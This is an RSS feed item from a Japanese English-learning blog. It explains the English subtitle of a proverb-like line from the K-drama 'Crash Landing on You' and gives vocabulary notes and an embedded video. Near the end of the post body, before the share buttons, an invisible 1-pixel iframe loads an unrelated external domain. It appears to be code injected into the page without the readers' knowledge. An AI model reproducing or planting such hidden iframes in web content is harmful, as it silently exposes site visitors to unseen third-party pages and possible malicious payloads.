﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>大ヒット &#8211; たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/%e5%a4%a7%e3%83%92%e3%83%83%e3%83%88/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Thu, 09 Apr 2026 15:32:33 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>大ヒット &#8211; たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/%e5%a4%a7%e3%83%92%e3%83%83%e3%83%88/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</title>
		<link>https://ffeng.jp/2020/08/21/cloy3/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Fri, 21 Aug 2020 11:35:58 +0000</pubDate>
				<category><![CDATA[〜を使ったおもしろ表現]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[映画・テレビ]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[come by turns]]></category>
		<category><![CDATA[Crash Landing on You]]></category>
		<category><![CDATA[fortune]]></category>
		<category><![CDATA[Fortune and misfortune are like twisted rope]]></category>
		<category><![CDATA[idiom derived from historical events or classical literature of China]]></category>
		<category><![CDATA[misfortune]]></category>
		<category><![CDATA[so they come by turns. Everything will be fine soon]]></category>
		<category><![CDATA[twisted rope]]></category>
		<category><![CDATA[すぐに全て上手くいく]]></category>
		<category><![CDATA[より合わせた縄]]></category>
		<category><![CDATA[ジョンヒョク]]></category>
		<category><![CDATA[セリ]]></category>
		<category><![CDATA[ドラマ]]></category>
		<category><![CDATA[ヒョンビン]]></category>
		<category><![CDATA[不時着]]></category>
		<category><![CDATA[不運]]></category>
		<category><![CDATA[不運と幸運はよりあわせた縄のように交互にやってくる]]></category>
		<category><![CDATA[人間万事塞翁が馬]]></category>
		<category><![CDATA[北朝鮮]]></category>
		<category><![CDATA[名セリフ]]></category>
		<category><![CDATA[名言]]></category>
		<category><![CDATA[名言王]]></category>
		<category><![CDATA[大ヒット]]></category>
		<category><![CDATA[大人気]]></category>
		<category><![CDATA[奥が深い]]></category>
		<category><![CDATA[好きなセリフ]]></category>
		<category><![CDATA[字幕]]></category>
		<category><![CDATA[幸運]]></category>
		<category><![CDATA[愛の不時着]]></category>
		<category><![CDATA[故事成語]]></category>
		<category><![CDATA[災いの後には幸せがくるものだ]]></category>
		<category><![CDATA[禍福は糾える縄の如し]]></category>
		<category><![CDATA[英訳]]></category>
		<category><![CDATA[英語字幕]]></category>
		<category><![CDATA[訳]]></category>
		<category><![CDATA[韓国]]></category>
		<category><![CDATA[韓流ドラマ]]></category>
		<category><![CDATA[順番にやってくる]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1496</guid>

					<description><![CDATA[<p>リクエストにお応えして今回も大人気の韓流ドラマ《愛 <a class="mh-excerpt-more" href="https://ffeng.jp/2020/08/21/cloy3/" title="大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2020/08/21/cloy3/">大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">リクエストにお応えして今回も大人気の韓流ドラマ《<strong>愛の不時着</strong>（<strong>Crash Landing on You</strong>）》第2話に登場する名セリフを英語でご紹介します。</p>



<p class="wp-block-paragraph">慣れない土地に不時着、しかも、自国と敵対している<strong>北朝鮮</strong>の片田舎に身を潜める事になった<strong>セリ</strong>。<strong>韓国</strong>では金に物を言わせやりたい放題やっていたバイタリティ溢れるお嬢セリでも、一時的とはいえ、同じ言葉を話すという以外はまるで勝手の違う世界での生活は心細く、寂しいもの。停電の夜、一人心細くなり<strong>ジョンヒョク</strong>の前で大泣きしてしまいます。その時、<strong>セリ</strong>を慰めるためにいう<strong>ジョンヒョク</strong>のセリフ。まだ、打ち解けていない2人ですが、この頃からだんだん近くなっていきます。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://ffeng.jp/wp-content/uploads/2024/10/military-man-300x300-1.png" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p class="wp-block-paragraph"><strong>Fortune and misfortune are like twisted rope, so they come by turns. Everything will be fine soon.</strong></p>



<p class="wp-block-paragraph">災いの後には幸せがくるものだ<br>（不運と幸運はよりあわせた縄のように交互にやってくる。すぐに全て上手くいくさ）</p>
</div></div></div>



<p class="wp-block-paragraph"><strong>名言王ジョンヒョク</strong>が初めて口にする名言なのですが、日本語字幕では「<strong>災いの後には幸せがくるものだ</strong>」と短い訳が付けられています。英語字幕だと上記のような長い英訳がついており、調べてみたら『<strong>禍福は糾える縄の如し</strong>（<strong>不運と幸運はよりあわせた縄のように交互にやってくる</strong>）』または『<strong>人間万事塞翁が馬</strong>』というという<strong>故事成語</strong>（<strong>idiom derived from historical events or classical literature of China</strong>）でした。<strong>ジョンヒョク</strong> の人柄を表すような奥が深い言葉ですね。ちなみに、以下のビデオで、<strong>ジョンヒョク</strong>役の<strong>ヒョンビン</strong>もドラマの中の好きなセリフは？と聞かれ、この「<strong>災いの後には幸せがくるものだ</strong>」が好きだと答えています。</p>



<p class="wp-block-paragraph">&nbsp;</p>


<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-l9qsxtjoifg" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-l9qsxtjoifg" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/L9QSXTjOifg?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/L9QSXTjOifg?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2020\/08\/21\/cloy3\/#arve-youtube-l9qsxtjoifg","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/L9QSXTjOifg?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">・<strong>fortune</strong>＝幸運<br>・<strong>misfortune</strong>＝不運<br>・<strong>twisted rope</strong>＝より合わせた縄<br>・<strong>come by turns</strong>＝順番にやってくる</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;実は、このセリフ、私の祖父のモットーでした。</p>



<p class="wp-block-paragraph"></p>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color has-pale-cyan-blue-color is-style-vk_borderBox-style-solid-round-tit-tab"><div class="vk_borderBox_title_container has-background has-pale-cyan-blue-background-color"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="bell" class="svg-inline--fa fa-bell " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"></path></svg></span>参考サイト<span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="bell" class="svg-inline--fa fa-bell " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentColor" d="M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<p class="wp-block-paragraph"><a href="https://mflthings.com/2020/06/21/cloy3/" title="" target="_blank" rel="noopener"><strong><span style="text-decoration: underline;">ヒョンビン沼から抜け出せない、愛の不時着 その3</span></strong></a></p>
</div></div>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph"><a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif"></a><br><a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>



<p class="wp-block-paragraph">&nbsp;</p>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&amp;linkname=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2020%2F08%2F21%2Fcloy3%2F&#038;title=%E5%A4%A7%E3%83%92%E3%83%83%E3%83%88%E9%9F%93%E6%B5%81%E3%83%89%E3%83%A9%E3%83%9E%E3%80%8A%E6%84%9B%E3%81%AE%E4%B8%8D%E6%99%82%E7%9D%80%E3%80%8B%E5%90%8D%E3%82%BB%E3%83%AA%E3%83%95%E3%80%80%E7%81%BD%E3%81%84%E3%81%AE%E5%BE%8C%E3%81%AB%E3%81%AF%E5%B9%B8%E3%81%9B%E3%81%8C%E3%81%8F%E3%82%8B%E3%82%82%E3%81%AE%E3%81%A0%E3%80%80%E8%8B%B1%E8%A8%B3" data-a2a-url="https://ffeng.jp/2020/08/21/cloy3/" data-a2a-title="大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2020/08/21/cloy3/">大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1496</post-id>	</item>
	</channel>
</rss>
